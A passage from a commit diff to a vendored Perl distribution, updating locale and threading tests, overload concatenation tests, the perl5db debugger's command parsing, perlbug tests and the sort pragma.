     report_result($Locale, ++$locales_test_number, $ok16);
     $test_names{$locales_test_number} = 'Verify that a sprintf of a number with a UTF-8 radix yields UTF-8';
@@ -2232,7 +2264,7 @@
                                                       # OS X 10.9.3
 
     report_result($Locale, ++$locales_test_number, $ok21);
-    $test_names{$locales_test_number} = '"$!" is ASCII only outside of locale scope';
+    $test_names{$locales_test_number} = '"$!" is ASCII-only outside of locale scope';
 
     debug "$first_f_test..$locales_test_number: \$f = $f, \$g = $g, back to locale = $Locale\n";
 
@@ -2451,28 +2483,30 @@
 
 TEST_NUM:
 foreach $test_num ($first_locales_test_number..$final_locales_test_number) {
-    if (%setlocale_failed) {
-        print "not ";
+    my $has_non_global_failure = $Problem{$test_num}
+                            || ! defined $Okay{$test_num}
+                            || ! @{$Okay{$test_num}};
+    print "not " if %setlocale_failed || $has_non_global_failure;
+    print "ok $test_num";
+    $test_names{$test_num} = "" unless defined $test_names{$test_num};
+
+    # If TODO is in the test name, make it thus
+    my $todo = $test_names{$test_num} =~ s/\s*TODO\s*//;
+    print " $test_names{$test_num}";
+    if ($todo) {
+        print " # TODO\n";
     }
-    elsif ($Problem{$test_num}
-           || ! defined $Okay{$test_num}
-           || ! @{$Okay{$test_num}})
-    {
-	if (defined $not_necessarily_a_problem_test_number
-            && $test_num == $not_necessarily_a_problem_test_number)
-        {
-	    print "# The failure of test $not_necessarily_a_problem_test_number is not necessarily fatal.\n";
-	    print "# It usually indicates a problem in the environment,\n";
-	    print "# not in Perl itself.\n";
-	}
+    elsif (%setlocale_failed || ! $has_non_global_failure) {
+        print "\n";
+    }
+    elsif ($has_non_global_failure) {
 
         # If there are any locales that pass this test, or are known-bad, it
-        # may be that there are enough passes that we TODO the failure.
-        if (($Okay{$test_num} || $Known_bad_locale{$test_num})
+        # may be that there are enough passes that we TODO the failure, but
+        # only for tests that we have decided can be problematical.
+        if (  ($Okay{$test_num} || $Known_bad_locale{$test_num})
             && grep { $_ == $test_num } keys %problematical_tests)
         {
-            no warnings 'experimental::postderef';
-
             # Don't count the known-bad failures when calculating the
             # percentage that fail.
             my $known_failures = (exists $Known_bad_locale{$test_num})
@@ -2484,8 +2518,7 @@
             # Specially handle failures where only known-bad locales fail.
             # This makes the diagnositics clearer.
             if ($adjusted_failures <= 0) {
-                print "not ok $test_num $test_names{$test_num} # TODO fails only on ",
-                                                                "known bad locales: ",
+                print " # TODO fails only on known bad locales: ",
                       join " ", keys $Known_bad_locale{$test_num}->%*, "\n";
                 next TEST_NUM;
             }
@@ -2494,15 +2527,10 @@
             my $percent_fail = (int(.5 + (1000 * $adjusted_failures
                                           / scalar(@Locale))))
                                / 10;
-            if ($percent_fail < $acceptable_failure_percentage) {
-                if (! $debug) {
-                    $test_names{$test_num} .= 'TODO';
-                    print "# ", 100 - $percent_fail, "% of locales not known to be problematic on this platform\n";
-                    print "# pass the following test, so it is likely that the failures\n";
-                    print "# are errors in the locale definitions.  The test is marked TODO, as the\n";
-                    print "# problem is not likely to be Perl's\n";
-                }
-            }
+            $todo = $percent_fail < $acceptable_failure_percentage;
+            print " # TODO" if $todo;
+            print "\n";
+
             if ($debug) {
                 print "# $percent_fail% of locales (",
                       scalar(keys $Problem{$test_num}->%*),
@@ -2512,8 +2540,14 @@
                       $acceptable_failure_percentage,
                       "%)\n";
             }
+            elsif ($todo) {
+                print "# ", 100 - $percent_fail, "% of locales not known to be problematic on this platform\n";
+                print "# pass the above test, so it is likely that the failures\n";
+                print "# are errors in the locale definitions.  The test is marked TODO, as the\n";
+                print "# problem is not likely to be Perl's\n";
+            }
         }
-        print "#\n";
+
         if ($debug) {
             print "# The code points that had this failure are given above.  Look for lines\n";
             print "# that match 'failed $test_num'\n";
@@ -2522,21 +2556,19 @@
             print "# For more details, rerun, with environment variable PERL_DEBUG_FULL_TEST=1.\n";
             print "# Then look at that output for lines that match 'failed $test_num'\n";
         }
-	print "not ";
+	if (defined $not_necessarily_a_problem_test_number
+            && $test_num == $not_necessarily_a_problem_test_number)
+        {
+	    print "# The failure of test $not_necessarily_a_problem_test_number is not necessarily fatal.\n";
+	    print "# It usually indicates a problem in the environment,\n";
+	    print "# not in Perl itself.\n";
+	}
     }
-    print "ok $test_num";
-    if (defined $test_names{$test_num}) {
-        # If TODO is in the test name, make it thus
-        my $todo = $test_names{$test_num} =~ s/TODO\s*//;
-        print " $test_names{$test_num}";
-        print " # TODO" if $todo;
-    }
-    print "\n";
 }
 
 $test_num = $final_locales_test_number;
 
-unless ( $^O =~ m!^(dragonfly|openbsd|bitrig|mirbsd)$! ) {
+unless ( $os =~ m!^(dragonfly|openbsd|bitrig|mirbsd)$! ) {
     # perl #115808
     use warnings;
     my $warned = 0;
@@ -2681,8 +2713,8 @@
 	my @f = sort keys %{ $Problem{$_} };
 
         # Don't list the failures caused by known-bad locales.
-        if (exists $known_bad_locales{$^O}) {
-            @f = grep { $_ !~ $known_bad_locales{$^O} } @f;
+        if (exists $known_bad_locales{$os}) {
+            @f = grep { $_ !~ $known_bad_locales{$os} } @f;
             next unless @f;
         }
 	my $f = join(" ", @f);
@@ -2763,7 +2795,7 @@
     }
 }
 
-if (exists $known_bad_locales{$^O} && ! %Known_bad_locale) {
+if (exists $known_bad_locales{$os} && ! %Known_bad_locale) {
     $test_num++;
     print "ok $test_num $^O no longer has known bad locales # TODO\n";
 }

Modified: vendor/perl/dist/lib/locale_threads.t
===================================================================
--- vendor/perl/dist/lib/locale_threads.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/locale_threads.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,14 +11,19 @@
     skip_all("No locales") unless locales_enabled();
     skip_all_without_config('useithreads');
     $| = 1;
+    eval { require POSIX; POSIX->import(qw(locale_h  unistd_h)) };
+    if ($@) {
+	skip_all("could not load the POSIX module"); # running minitest?
+    }
 }
 
+# reset the locale environment
+local @ENV{'LANG', (grep /^LC_/, keys %ENV)};
+
 SKIP: { # perl #127708
     my @locales = grep { $_ !~ / ^ C \b | POSIX /x } find_locales('LC_MESSAGES');
     skip("No valid locale to test with", 1) unless @locales;
 
-    # reset the locale environment
-    local @ENV{'LANG', (grep /^LC_/, keys %ENV)};
     local $ENV{LC_MESSAGES} = $locales[0];
 
     # We're going to try with all possible error numbers on this platform
@@ -49,4 +54,66 @@
     pass("Didn't segfault");
 }
 
-done_testing;
+SKIP: {
+    skip("POSIX version doesn't support thread-safe locale operations", 1)
+                                                unless ${^SAFE_LOCALES};
+
+    my @locales = find_locales( 'LC_NUMERIC' );
+    skip("No LC_NUMERIC locales available", 1) unless @locales;
+
+    my $dot = "";
+    my $comma = "";
+    for (@locales) { # prefer C for the base if available
+        use locale;
+        setlocale(LC_NUMERIC, $_) or next;
+        my $in = 4.2; # avoid any constant folding bugs
+        if ((my $s = sprintf("%g", $in)) eq "4.2")  {
+            $dot ||= $_;
+        } else {
+            my $radix = localeconv()->{decimal_point};
+            $comma ||= $_ if $radix eq ',';
+        }
+
+        last if $dot && $comma;
+    }
+
+    # See if multiple threads can simultaneously change the locale, and give
+    # the expected radix results.  On systems without a comma radix locale,
+    # run this anyway skipping the use of that, to verify that we don't
+    # segfault
+    fresh_perl_is("
+        use threads;
+        use strict;
+        use warnings;
+        use POSIX qw(locale_h);
+
+        my \$result = 1;
+
+        my \@threads = map +threads->create(sub {
+            sleep 0.1;
+            for (1..5_000) {
+                my \$s;
+                my \$in = 4.2; # avoid any constant folding bugs
+
+                if ('$comma') {
+                    setlocale(&LC_NUMERIC, '$comma');
+                    use locale;
+                    \$s = sprintf('%g', \$in);
+                    return 0 if (\$s ne '4,2');
+                }
+
+                setlocale(&LC_NUMERIC, '$dot');
+                \$s = sprintf('%g', \$in);
+                return 0 if (\$s ne '4.2');
+            }
+
+            return 1;
+
+        }), (0..3);
+        \$result &= \$_->join for splice \@threads;
+        print \$result",
+    1, {}, "Verify there were no failures with simultaneous running threads"
+    );
+}
+
+done_testing();

Modified: vendor/perl/dist/lib/overload.pm
===================================================================
--- vendor/perl/dist/lib/overload.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/overload.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 package overload;
 
-our $VERSION = '1.28';
+our $VERSION = '1.30';
 
 %ops = (
     with_assign         => "+ - * / % ** << >> x .",
@@ -310,7 +310,7 @@
         # ...
     sub decr { --${$_[0]}; }
 
-If the experimental "bitwise" feature is enabled (see L<feature>), a fifth
+If the "bitwise" feature is enabled (see L<feature>), a fifth
 TRUE argument is passed to subroutines handling C<&>, C<|>, C<^> and C<~>.
 This indicates that the caller is expecting numeric behaviour.  The fourth
 argument will be C<undef>, as that position (C<$_[3]>) is reserved for use
@@ -693,7 +693,7 @@
 The first three arguments coincide with those that would have been
 passed to the corresponding method if it had been defined.
 The fourth argument is the C<use overload> key for that missing
-method.  If the experimental "bitwise" feature is enabled (see L<feature>),
+method.  If the "bitwise" feature is enabled (see L<feature>),
 a fifth TRUE argument is passed to subroutines handling C<&>, C<|>, C<^> and C<~> to indicate that the caller is expecting numeric behaviour.
 
 For example, if C<$a> is an object blessed into a package declaring

Modified: vendor/perl/dist/lib/overload.t
===================================================================
--- vendor/perl/dist/lib/overload.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/overload.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -48,7 +48,7 @@
 
 $| = 1;
 BEGIN { require './test.pl'; require './charset_tools.pl' }
-plan tests => 5215;
+plan tests => 5362;
 
 use Scalar::Util qw(tainted);
 
@@ -2816,6 +2816,16 @@
        'experimental "bitwise" ops with nomethod'
 }
 
+package length_utf8 {
+    use overload '""' => sub { "\x{100}" };
+    my $o = bless [];
+print length $o, "\n";
+
+    ::is length($o), 1, "overloaded utf8 length";
+    ::is "$o", "\x{100}", "overloaded utf8 value";
+}
+
+
 { # undefining the overload stash -- KEEP THIS TEST LAST
     package ant;
     use overload '+' => 'onion';
@@ -2826,4 +2836,341 @@
 }
 
 
-# EOF
+# test various aspects of string concat overloading, especially where
+# multiple concats etc are optimised into a single multiconcat op
+
+package Concat {
+
+    my $id;
+
+    # append a brief description of @_ to $id
+    sub id {
+        my @a = map ref $_      ?  "[" . $_->[0] . "]" :
+                    !defined $_ ? "u"                  :
+                    $_,
+                @_;
+        $id .= '(' . join (',', @a) . ')';
+    }
+
+    use overload
+        '.'  => sub {
+                    id('.', @_);
+                    my ($l, $r, $rev) = @_;
+                    ($l, $r) = map ref $_ ? $_->[0] : $_, $l, $r;
+                    ($l,$r) = ($r, $l) if $rev;
+                    bless [ $l . $r ];
+                },
+
+        '.=' => sub {
+                    id('.=', @_);
+                    my ($l, $r, $rev) = @_;
+                    my ($ll, $rr) = map ref $_ ? $_->[0] : $_, $l, $r;
+                    die "Unexpected reverse in .=" if $rev;
+                    $l->[0] .= ref $r ? $r->[0] : $r;
+                    $l;
+                },
+
+        '=' => sub {
+                    id('=', @_);
+                    bless [ $_[0][0] ];
+                },
+
+        '""' => sub {
+                    id('""', @_);
+                    $_[0][0];
+                },
+    ;
+
+    my $a = 'a';
+    my $b = 'b';
+    my $c = 'c';
+    my $A = bless [ 'A' ];
+    my $B = bless [ 'B' ];
+    my $C = bless [ 'C' ];
+
+    my ($r, $R);
+
+
+    # like cc, but with $is_ref set to 1
+    sub c {
+        my ($expr, $expect, $exp_id) = @_;
+        cc($expr, $expect, 1, $exp_id);
+    }
+
+    # eval $expr, and see if it returns $expect, and whether
+    # the returned value is a ref ($is_ref). Finally, check that
+    # $id, which has accumulated info from all overload method calls,
+    # matches $exp_id.
+
+    sub cc {
+        my ($expr, $expect, $is_ref, $exp_id) = @_;
+
+        $id = '';
+        $r = 'r';
+        $R = bless ['R'];
+
+        my $got = eval $expr;
+        die "eval failed: $@" if $@;
+        ::is "$got", $expect,   "expect: $expr";
+        ::is $id, $exp_id,      "id:     $expr";
+        ::is ref($got), ($is_ref ? 'Concat' : ''), "is_ref: $expr";
+    }
+
+    # single concats
+
+    c '$r=$A.$b',       'Ab',   '(.,[A],b,)("",[Ab],u,)';
+    c '$r=$a.$B',       'aB',   '(.,[B],a,1)("",[aB],u,)';
+    c '$r=$A.$B',       'AB',   '(.,[A],[B],)("",[AB],u,)';
+    c '$R.=$a',         'Ra',   '(.=,[R],a,u)("",[Ra],u,)';
+    c '$R.=$A',         'RA',   '(.=,[R],[A],u)("",[RA],u,)';
+
+   # two concats
+
+    c '$r=$A.$b.$c',    'Abc',   '(.,[A],b,)(.=,[Ab],c,u)("",[Abc],u,)';
+    c '$r=$A.($b.$c)',  'Abc',   '(.,[A],bc,)("",[Abc],u,)';
+    c '$r=$a.$B.$c',    'aBc',   '(.,[B],a,1)(.=,[aB],c,u)("",[aBc],u,)';
+    c '$r=$a.($B.$c)',  'aBc',   '(.,[B],c,)(.,[Bc],a,1)("",[aBc],u,)';
+    c '$r=$a.$b.$C',    'abC',   '(.,[C],ab,1)("",[abC],u,)';
+    c '$r=$a.($b.$C)',  'abC',   '(.,[C],b,1)(.,[bC],a,1)("",[abC],u,)';
+
+   # two concats plus mutator
+
+    c '$r.=$A.$b.$c',   'rAbc',  '(.,[A],b,)(.=,[Ab],c,u)(.,[Abc],r,1)'
+                                .'("",[rAbc],u,)';
+    c '$r.=$A.($b.$c)', 'rAbc',  '(.,[A],bc,)(.,[Abc],r,1)("",[rAbc],u,)';
+    c '$r.=$a.$B.$c',   'raBc',  '(.,[B],a,1)(.=,[aB],c,u)(.,[aBc],r,1)'
+                                .'("",[raBc],u,)';
+    c '$r.=$a.($B.$c)', 'raBc',  '(.,[B],c,)(.,[Bc],a,1)(.,[aBc],r,1)'
+                                .'("",[raBc],u,)';
+    c '$r.=$a.$b.$C',   'rabC',  '(.,[C],ab,1)(.,[abC],r,1)("",[rabC],u,)';
+    c '$r.=$a.($b.$C)', 'rabC',  '(.,[C],b,1)(.,[bC],a,1)(.,[abC],r,1)'
+                                .'("",[rabC],u,)';
+
+    c '$R.=$A.$b.$c',   'RAbc',  '(.,[A],b,)(.=,[Ab],c,u)(.=,[R],[Abc],u)'
+                                .'("",[RAbc],u,)';
+    c '$R.=$A.($b.$c)', 'RAbc',  '(.,[A],bc,)(.=,[R],[Abc],u)("",[RAbc],u,)';
+    c '$R.=$a.$B.$c',   'RaBc',  '(.,[B],a,1)(.=,[aB],c,u)(.=,[R],[aBc],u)'
+                                .'("",[RaBc],u,)';
+    c '$R.=$a.($B.$c)', 'RaBc',  '(.,[B],c,)(.,[Bc],a,1)(.=,[R],[aBc],u)'
+                                .'("",[RaBc],u,)';
+    c '$R.=$a.$b.$C',   'RabC',  '(.,[C],ab,1)(.=,[R],[abC],u)("",[RabC],u,)';
+    c '$R.=$a.($b.$C)', 'RabC',  '(.,[C],b,1)(.,[bC],a,1)(.=,[R],[abC],u)'
+                                .'("",[RabC],u,)';
+
+    # concat over assign
+
+    c '($R.=$a).$B.$c', 'RaBc',  '(.=,[R],a,u)(.,[Ra],[B],)(.=,[RaB],c,u)'
+                                  .'("",[RaBc],u,)';
+    ::is "$R", "Ra", 'R in concat over assign';
+
+
+    # nested mutators
+
+    c '(($R.=$a).=$b).=$c', 'Rabc',  '(.=,[R],a,u)(=,[Ra],u,)(.=,[Ra],b,u)'
+                                   . '(=,[Rab],u,)(.=,[Rab],c,u)("",[Rabc],u,)';
+    c '(($R.=$a).=$B).=$c', 'RaBc',  '(.=,[R],a,u)(=,[Ra],u,)(.=,[Ra],[B],u)'
+                                   . '(=,[RaB],u,)(.=,[RaB],c,u)("",[RaBc],u,)';
+
+    # plain SV on both LHS and RHS with RHS object
+
+    c '$r=$r.$A.$r',   'rAr',  '(.,[A],r,1)(.=,[rA],r,u)("",[rAr],u,)';
+    c '$r.=$r.$A.$r',  'rrAr', '(.,[A],r,1)(.=,[rA],r,u)(.,[rAr],r,1)'
+                              .'("",[rrAr],u,)';
+
+    # object on both LHS and RHS
+
+    c '$R.=$R',        'RR',    '(.=,[R],[R],u)("",[RR],u,)';
+    c '$R.=$R.$b.$c',  'RRbc',  '(.,[R],b,)(.=,[Rb],c,u)(.=,[R],[Rbc],u)'
+                               .'("",[RRbc],u,)';
+    c '$R.=$a.$R.$c',  'RaRc',  '(.,[R],a,1)(.=,[aR],c,u)(.=,[R],[aRc],u)'
+                               .'("",[RaRc],u,)'; 
+    c '$R.=$a.$b.$R',  'RabR',  '(.,[R],ab,1)(.=,[R],[abR],u)("",[RabR],u,)';
+
+
+    # sprintf shouldn't do concat overloading
+
+    cc '$r=sprintf("%s%s%s",$a,$B,$c)',  'aBc',  0, '("",[B],u,)';
+    cc '$R=sprintf("%s%s%s",$a,$B,$c)',  'aBc',  0, '("",[B],u,)';
+    cc '$r.=sprintf("%s%s%s",$a,$B,$c)', 'raBc', 0, '("",[B],u,)';
+    cc '$R.=sprintf("%s%s%s",$a,$B,$c)', 'RaBc', 1, '("",[B],u,)(.=,[R],aBc,u)'
+                                                   .'("",[RaBc],u,)';
+
+    # multiple constants should individually overload (RT #132385)
+
+    c '$r=$A."b"."c"', 'Abc',  '(.,[A],b,)(.=,[Ab],c,u)("",[Abc],u,)';
+
+    # ... except for this
+    c '$R.="a"."b"',   'Rab',  '(.=,[R],ab,u)("",[Rab],u,)';
+}
+
+# RT #132385
+# The first arg of a reversed concat shouldn't be stringified:
+#      $left . $right
+#  where $right is overloaded, should invoke
+#      concat($right, $left, 1)
+#  rather than
+#      concat($right, "$left", 1)
+# There's a similar issue with
+#      $left .= $right
+# when left is overloaded
+
+package RT132385 {
+
+    use constant C => [ "constref" ];
+
+    use overload '.' => sub {
+                            my ($l, $r, $rev) = @_;
+                            ($l,$r) = ($r,$l) if $rev;
+                            $l = ref $l ? $l->[0] : "$l";
+                            $r = ref $r ? $r->[0] : "$r";
+                            "$l-$r";
+                        }
+    ;
+
+    my $r1 = [ "ref1" ];
+    my $r2 = [ "ref2" ];
+    my $s1 =   "str1";
+
+    my $o = bless [ "obj" ];
+
+    # try variations that will call either pp_concat or pp_multiconcat,
+    # with the ref as the first or a later arg
+
+    ::is($r1.$o,        "ref1-obj",             "RT #132385 r1.o");
+    ::is($r1.$o.$s1 ,   "ref1-objstr1",         "RT #132385 r1.o.s1");
+    ::is("const".$o.$s1 ,"const-objstr1",       "RT #132385 const.o.s1");
+    ::is(C.$o.$s1       ,"constref-objstr1",    "RT #132385 C.o.s1");
+
+    ::like($r1.$r2.$o,   qr/^ARRAY\(0x\w+\)ARRAY\(0x\w+\)-obj/,
+                                                "RT #132385 r1.r2.o");
+
+    # ditto with a mutator
+    ::is($o .= $r1,     "obj-ref1",             "RT #132385 o.=r1");
+}
+
+# the RHS of an overloaded .= should be passed as-is to the overload
+# method, rather than being stringified or otherwise being processed in
+# such a way that it triggers an undef warning
+package RT132783 {
+    use warnings;
+    use overload '.=' => sub { return "foo" };
+    my $w = 0;
+    local $SIG{__WARN__} = sub { $w++ };
+    my $undef;
+    my $ov = bless [];
+    $ov .= $undef;
+    ::is($w, 0, "RT #132783 - should be no warnings");
+}
+
+# changing the overloaded object to a plain string within an overload
+# method should be permanent.
+package RT132827 {
+    use overload '""' => sub { $_[0] = "a" };
+    my $ov = bless [];
+    my $b = $ov . "b";
+    ::is(ref \$ov, "SCALAR", "RT #132827");
+}
+
+# RT #132793
+# An arg like like "$b" in $overloaded .= "$b" should be stringified
+# before being passed to the method
+
+package RT132793 {
+    my $type;
+    my $str = 0;
+    use overload
+        '.=' => sub { $type = ref(\$_[1]); "foo"; },
+        '""' => sub { $str++;              "bar" };
+
+    my $a = bless {};
+    my $b = bless {};
+    $a .= "$b";
+    ::is($type, "SCALAR", "RT #132793 type");
+    ::is($str,  1,        "RT #132793 stringify count");
+}
+
+# RT #132801
+# A second RHS-not-stringified bug
+
+package RT132801 {
+    my $type;
+    my $str    = 0;
+    my $concat = 0;
+    use overload
+        '.'  => sub { $concat++; bless []; },
+        '""' => sub { $str++;    "bar" };
+
+    my $a = "A";
+    my $b = bless [];
+    my $c;
+    $c = "$a-$b";
+    ::is($concat, 1, "RT #132801 concat count");
+    ::is($str,    1, "RT #132801 stringify count");
+}
+
+# General testing of optimising away OP_STRINGIFY, and whether
+# OP_MULTICONCAT emulates existing behaviour.
+#
+# It could well be argued that the existing behaviour is buggy, but
+# for now emulate the old behaviour.
+#
+# In more detail:
+#
+# Since 5.000, any OP_STRINGIFY immediately following an OP_CONCAT
+# is optimised away, on the assumption that since concat will always
+# return a valid string anyway, it doesn't need stringifying.
+# So in "$x", the stringify is needed, but on "$x$y" it isn't.
+# This assumption is flawed once overloading has been introduced, since
+# concat might return an overloaded object which still needs stringifying.
+# However, this flawed behaviour is apparently needed by at least one
+# module, and is tested for in opbasic/concat.t: see RT #124160.
+#
+# There is also a wart with the OPpTARGET_MY optimisation: specifically,
+# in $lex = "...", if $lex is a lexical var, then a chain of 2 or more
+# concats *doesn't* optimise away OP_STRINGIFY:
+#
+# $lex = "$x";        # stringifies
+# $lex = "$x$y";      # doesn't stringify
+# $lex = "$x$y$z..."; # stringifies
+
+package Stringify {
+    my $count;
+    use overload
+        '.'  => sub {
+                        my ($a, $b, $rev) = @_;
+                        bless [ $rev ? "$b" . $a->[0] : $a->[0] . "$b" ];
+            },
+        '""' => sub {  $count++; $_[0][0] },
+    ;
+
+    for my $test(
+        [ 1, '$pkg   =  "$ov"' ],
+        [ 1, '$lex   =  "$ov"' ],
+        [ 1, 'my $a  =  "$ov"' ],
+        [ 1, '$pkg  .=  "$ov"' ],
+        [ 1, '$lex  .=  "$ov"' ],
+        [ 1, 'my $a .=  "$ov"' ],
+
+        [ 0, '$pkg   =  "$ov$x"' ],
+        [ 0, '$lex   =  "$ov$x"' ],
+        [ 0, 'my $a  =  "$ov$x"' ],
+        [ 0, '$pkg  .=  "$ov$x"' ],
+        [ 0, '$lex  .=  "$ov$x"' ],
+        [ 0, 'my $a .=  "$ov$x"' ],
+
+        [ 0, '$pkg   =  "$ov$x$y"' ],
+        [ 1, '$lex   =  "$ov$x$y"' ],  # XXX note the anomaly
+        [ 0, 'my $a  =  "$ov$x$y"' ],
+        [ 0, '$pkg  .=  "$ov$x$y"' ],
+        [ 0, '$lex  .=  "$ov$x$y"' ],
+        [ 0, 'my $a .=  "$ov$x$y"' ],
+    )
+    {
+        my ($stringify, $code) = @$test;
+        our $pkg = 'P';
+        my ($ov, $x, $y, $lex) = (bless(['OV']), qw(X Y L));
+        $count = 0;
+        eval "$code; 1" or die $@;
+        ::is $count, $stringify, $code;
+    }
+}

Added: vendor/perl/dist/lib/perl5db/t/rt-120174
===================================================================
--- vendor/perl/dist/lib/perl5db/t/rt-120174	                        (rev 0)
+++ vendor/perl/dist/lib/perl5db/t/rt-120174	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,4 @@
+ at abc = (1..4);
+print "hello world\n";
+%xyz = ( 'alpha' => 'beta', 'gamma' => 'delta' );
+print "goodbye world\n";

Modified: vendor/perl/dist/lib/perl5db.pl
===================================================================
--- vendor/perl/dist/lib/perl5db.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/perl5db.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -529,7 +529,7 @@
 use vars qw($VERSION $header);
 
 # bump to X.XX in blead, only use X.XX_XX in maint
-$VERSION = '1.51';
+$VERSION = '1.53';
 
 $header = "perl5db.pl version $VERSION";
 
@@ -1871,7 +1871,10 @@
     $cmd =~ s/\A\s+//s;    # trim annoying leading whitespace
     $cmd =~ s/\s+\z//s;    # trim annoying trailing whitespace
 
-    my ($verb, $args) = $cmd =~ m{\A(\S*)\s*(.*)}s;
+    # A single-character debugger command can be immediately followed by its
+    # argument if they aren't both alphanumeric; otherwise require space
+    # between commands and arguments:
+    my ($verb, $args) = $cmd =~ m{\A(.\b|\S*)\s*(.*)}s;
 
     $obj->cmd_verb($verb);
     $obj->cmd_args($args);
@@ -6628,10 +6631,10 @@
         $i++
     )
     {
+        # if the sub has args ($h true), make an anonymous array of the
+        # dumped args.
+        my $args = $h ? _dump_trace_calc_save_args($nothard) : undef;
 
-        # Go through the arguments and save them for later.
-        my $save_args = _dump_trace_calc_save_args($nothard);
-
         # If context is true, this is array (@)context.
         # If context is false, this is scalar ($) context.
         # If neither, context isn't defined. (This is apparently a 'can't
@@ -6638,10 +6641,6 @@
         # happen' trap.)
         $context = $context ? '@' : ( defined $context ? "\$" : '.' );
 
-        # if the sub has args ($h true), make an anonymous array of the
-        # dumped args.
-        $args = $h ? $save_args : undef;
-
         # remove trailing newline-whitespace-semicolon-end of line sequence
         # from the eval text, if any.
         $e =~ s/\n\s*\;\s*\Z// if $e;

Modified: vendor/perl/dist/lib/perl5db.t
===================================================================
--- vendor/perl/dist/lib/perl5db.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/perl5db.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -31,7 +31,7 @@
     $ENV{PERL_RL} = 'Perl'; # Suppress system Term::ReadLine::Gnu
 }
 
-plan(123);
+plan(127);
 
 my $rc_filename = '.perldb';
 
@@ -2817,6 +2817,90 @@
     );
 }
 
+{
+    # perl 5 RT #120174 - 'p' command
+    my $wrapper = DebugWrap->new(
+        {
+            cmds =>
+            [
+                'b 2',
+                'c',
+                'p at abc',
+                'q',
+            ],
+            prog => '../lib/perl5db/t/rt-120174',
+        }
+    );
+
+    $wrapper->contents_like(
+        qr/1234/,
+        q/RT 120174: p command can be invoked without space after 'p'/,
+    );
+}
+
+{
+    # perl 5 RT #120174 - 'x' command on array
+    my $wrapper = DebugWrap->new(
+        {
+            cmds =>
+            [
+                'b 2',
+                'c',
+                'x at abc',
+                'q',
+            ],
+            prog => '../lib/perl5db/t/rt-120174',
+        }
+    );
+
+    $wrapper->contents_like(
+        qr/0\s+1\n1\s+2\n2\s+3\n3\s+4/ms,
+        q/RT 120174: x command can be invoked without space after 'x' before array/,
+    );
+}
+
+{
+    # perl 5 RT #120174 - 'x' command on array ref
+    my $wrapper = DebugWrap->new(
+        {
+            cmds =>
+            [
+                'b 2',
+                'c',
+                'x\@abc',
+                'q',
+            ],
+            prog => '../lib/perl5db/t/rt-120174',
+        }
+    );
+
+    $wrapper->contents_like(
+        qr/\s+0\s+1\n\s+1\s+2\n\s+2\s+3\n\s+3\s+4/ms,
+        q/RT 120174: x command can be invoked without space after 'x' before array ref/,
+    );
+}
+
+{
+    # perl 5 RT #120174 - 'x' command on hash ref
+    my $wrapper = DebugWrap->new(
+        {
+            cmds =>
+            [
+                'b 4',
+                'c',
+                'x\%xyz',
+                'q',
+            ],
+            prog => '../lib/perl5db/t/rt-120174',
+        }
+    );
+
+    $wrapper->contents_like(
+        qr/\s+'alpha'\s+=>\s+'beta'\n\s+'gamma'\s+=>\s+'delta'/ms,
+        q/RT 120174: x command can be invoked without space after 'x' before hash ref/,
+    );
+}
+
 END {
     1 while unlink ($rc_filename, $out_fn);
 }

Modified: vendor/perl/dist/lib/perlbug.t
===================================================================
--- vendor/perl/dist/lib/perlbug.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/perlbug.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -42,7 +42,7 @@
         return 1;
 }
 
-plan(22);
+plan(25);
 
 
 # check -d
@@ -153,3 +153,13 @@
 }
 ok($maxlen1 < 1000, "[perl #128020] long body lines are wrapped: maxlen $maxlen1");
 ok($maxlen2 > 1000, "long attachment lines are not wrapped: maxlen $maxlen2");
+
+$result = runperl( progfile => $extracted_program, stderr => 1, args => ['-o'] ); # Invalid option
+like($result, qr/^\s*This program is designed/, "No leading error messages with help from invalid arg.");
+
+$result = runperl( progfile => $extracted_program, stderr => 1, args => ['--help'] ); # Invalid option
+like($result, qr/^\s*perlbug version \d+\.\d+\n+This program is designed/, "No leading error messages with help from --help and version is displayed.");
+
+$result = runperl( progfile => $extracted_program, stderr => 1, args => ['--version'] ); # Invalid option
+like($result, qr/^perlbug version \d+\.\d+\n$/, "No leading error messages with --version");
+#print $result;

Modified: vendor/perl/dist/lib/sort.pm
===================================================================
--- vendor/perl/dist/lib/sort.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/sort.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,14 +1,12 @@
 package sort;
 
-our $VERSION = '2.02';
+our $VERSION = '2.04';
 
 # The hints for pp_sort are now stored in $^H{sort}; older versions
 # of perl used the global variable $sort::hints. -- rjh 2005-12-19
 
-$sort::quicksort_bit   = 0x00000001;
-$sort::mergesort_bit   = 0x00000002;
-$sort::sort_bits       = 0x000000FF; # allow 256 different ones
 $sort::stable_bit      = 0x00000100;
+$sort::unstable_bit    = 0x00000200;
 
 use strict;
 
@@ -21,14 +19,9 @@
     local $_;
     $^H{sort} //= 0;
     while ($_ = shift(@_)) {
-	if (/^_q(?:uick)?sort$/) {
-	    $^H{sort} &= ~$sort::sort_bits;
-	    $^H{sort} |=  $sort::quicksort_bit;
-	} elsif ($_ eq '_mergesort') {
-	    $^H{sort} &= ~$sort::sort_bits;
-	    $^H{sort} |=  $sort::mergesort_bit;
-	} elsif ($_ eq 'stable') {
+	if ($_ eq 'stable') {
 	    $^H{sort} |=  $sort::stable_bit;
+	    $^H{sort} &= ~$sort::unstable_bit;
 	} elsif ($_ eq 'defaults') {
 	    $^H{sort} =   0;
 	} else {
@@ -47,12 +40,9 @@
     local $_;
     no warnings 'uninitialized';	# bitops would warn
     while ($_ = shift(@_)) {
-	if (/^_q(?:uick)?sort$/) {
-	    $^H{sort} &= ~$sort::sort_bits;
-	} elsif ($_ eq '_mergesort') {
